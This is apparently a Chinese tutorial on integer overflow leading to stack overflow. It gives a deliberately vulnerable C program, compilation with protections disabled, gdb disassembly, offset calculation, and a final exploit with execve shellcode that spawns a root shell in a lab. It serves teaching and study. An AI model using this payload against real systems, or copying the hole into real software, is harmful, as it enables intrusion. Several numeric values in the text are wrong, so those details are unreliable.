存储大于最大支持值的值称为整数溢出。整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代码执行。在这篇文章中,我将仅谈论整数溢出导致栈溢出,整数溢出导致堆溢出将在后面的单独的帖子中讨论。

数据的种类和范围

 _______________________________________________________
|Data Type |  Size   | Unsigned Range | Signed Range    |
|-------------------------------------------------------|
|char      | 1       | 0 to 255       | -128 to 127     |
|-------------------------------------------------------|
|short     | 2       | 0 to 65535     | -32768 to 32767 |
|-------------------------------------------------------|
|int       | 4       | 0 to 4294967296| -2147483648 to  |
|          |         |                |  2147483647     |
|__________|_________|________________|_________________|

当我们试图存储一个大于最大支持值的值时,我们的值会被包装 。例如,当我们尝试将2147483648存储到带符号的int数据类型时,它将被包装并存储为-21471483648。这被称为整数溢出,这种溢出可能导致任意代码执行

一个demo

int main(void)
{
    int len;
    int data_len;
    int header_len;
    char *buf;

    header_len = 0x10;
    scanf("%uld", &data_len);

    len = data_len+header_len			//data_len负数, len很小的数
    buf = malloc(len);				//参数是size_t 该类型相当于 unsigned long int,申请了很小
    read(0, buf, data_len);			//第三个参数是size_t 该类型相当于 unsigned long int,属于无符号长整型,造成栈溢出
    return 0;
}

下界溢出

当我们尝试将-2147483649存储到带符号的int数据类型时,它将被包装并存储为21471483647.这称为下界溢出

漏洞代码如下

//vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void store_passwd_indb(char* passwd) {
}

void validate_uname(char* uname) {
}

void validate_passwd(char* passwd) {
 char passwd_buf[11];
 unsigned char passwd_len = strlen(passwd); /* [1] */ //返回的类型是size_t ,unsigned int ,4个字节,unsigned char两个字节
 if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */			// 这里要求长度大于4,小于8
  printf("Valid Password\n"); /* [3] */ 
  fflush(stdout);
  strcpy(passwd_buf,passwd); /* [4] */						//(11个字母,可以输入200多个)
 } else {
  printf("Invalid Password\n"); /* [5] */
  fflush(stdout);
 }
 store_passwd_indb(passwd_buf); /* [6] */
}

int main(int argc, char* argv[]) {
 if(argc!=3) {
  printf("Usage Error:   \n");
  fflush(stdout);
  exit(-1);
 }
 validate_uname(argv[1]);
 validate_passwd(argv[2]);
 return 0;
}

编译环境

echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -z execstack -o vuln vuln.c -m32
chmod 777 vuln

查看validate_passwd汇编代码

gdb-peda$ disassemble validate_passwd 
Dump of assembler code for function validate_passwd:
   0x08048507 <+0>:	push   ebp
   0x08048508 <+1>:	mov    ebp,esp
   0x0804850a <+3>:	sub    esp,0x28
   0x0804850d <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048510 <+9>:	mov    DWORD PTR [esp],eax
   0x08048513 <+12>:	call   0x80483d0 <strlen@plt>
   0x08048518 <+17>:	mov    BYTE PTR [ebp-0x9],al
   0x0804851b <+20>:	cmp    BYTE PTR [ebp-0x9],0x3
   0x0804851f <+24>:	jbe    0x8048554 <validate_passwd+77>
   0x08048521 <+26>:	cmp    BYTE PTR [ebp-0x9],0x8
   0x08048525 <+30>:	ja     0x8048554 <validate_passwd+77>
   0x08048527 <+32>:	mov    DWORD PTR [esp],0x8048674
   0x0804852e <+39>:	call   0x80483b0 <puts@plt>
   0x08048533 <+44>:	mov    eax,ds:0x804a040
   0x08048538 <+49>:	mov    DWORD PTR [esp],eax
   0x0804853b <+52>:	call   0x8048390 <fflush@plt>
   0x08048540 <+57>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048543 <+60>:	mov    DWORD PTR [esp+0x4],eax
   0x08048547 <+64>:	lea    eax,[ebp-0x14]
   0x0804854a <+67>:	mov    DWORD PTR [esp],eax
   0x0804854d <+70>:	call   0x80483a0 <strcpy@plt>
   0x08048552 <+75>:	jmp    0x804856d <validate_passwd+102>
   0x08048554 <+77>:	mov    DWORD PTR [esp],0x8048683
   0x0804855b <+84>:	call   0x80483b0 <puts@plt>
   0x08048560 <+89>:	mov    eax,ds:0x804a040
   0x08048565 <+94>:	mov    DWORD PTR [esp],eax
   0x08048568 <+97>:	call   0x8048390 <fflush@plt>
   0x0804856d <+102>:	lea    eax,[ebp-0x14]
   0x08048570 <+105>:	mov    DWORD PTR [esp],eax
   0x08048573 <+108>:	call   0x80484fd <store_passwd_indb>
   0x08048578 <+113>:	leave  
   0x08048579 <+114>:	ret    
End of assembler dump.

上述漏洞代码的[1]行显示了一个整数溢出错误。strlen()的返回类型是size_t(unsigned int),它存储在unsigned char数据类型中。因此,任何大于unsigned char的最大支持值的值都会导致整数溢出。因此当密码长度为261时,261将被包裹并存储为“passwd_len”变量中的5!由于这个整数溢出,可以绕过行[2]执行的边界检查,从而导致基于堆栈的缓冲区溢出!而且在这篇文章中看到,基于堆栈的缓冲区溢出导致任意的代码执行。

测试第一步:Return Address能否被覆盖

gdb vuln
gdb-peda$ r sploitfun `python -c 'print "A"*261'`

结果

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.i686

测试第二步:offset 是多少

offset长度是0x18

0x18 = 0xb + 0x1 + 0x4 + 0x4 + 0x4

其中

  • 0xb是‘passwd_buf’大小
  • 0x1是‘passwd_len’大小
  • 0x4是栈对齐大小
  • 0x4是edi
  • 0x4是caller’s EBP

因此,用户输入的“A” * 24 + “B” * 4 + “C” * 233,以A覆盖passwd_buf,passwd_len,对齐空间,edi和调用者的ebp,以“BBBB”覆盖返回地址,以”C”覆盖剩余空间.

gdb vuln
gdb-peda$ r sploitfun `python -c 'print "A"*24 + "B"*4 + "C"*233'`

结果如下

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

这样我们就可以通过控制return address来控制程序

最终exp

gdb vuln
gdb-peda$ r sploitfun `python -c 'print "A"*24 + "\x24\xd5\xff\xff" +"A"*4+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+ "C"*204'`

结果

gdb-peda$ r sploitfun `python -c 'print "A"*24 + "\x24\xd5\xff\xff" +"A"*4+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+ "C"*204'`
Starting program: /root/sploitfun/vuln sploitfun `python -c 'print "A"*24 + "\x24\xd5\xff\xff" +"A"*4+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+ "C"*204'`
Valid Password
process 4612 is executing new program: /usr/bin/bash
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.i686
sh-4.2# who
[New process 4674]
process 4674 is executing new program: /usr/bin/who
Missing separate debuginfos, use: debuginfo-install bash-4.2.46-33.el7.x86_64
root     pts/3        Nov  7 15:50 (61.172.240.228)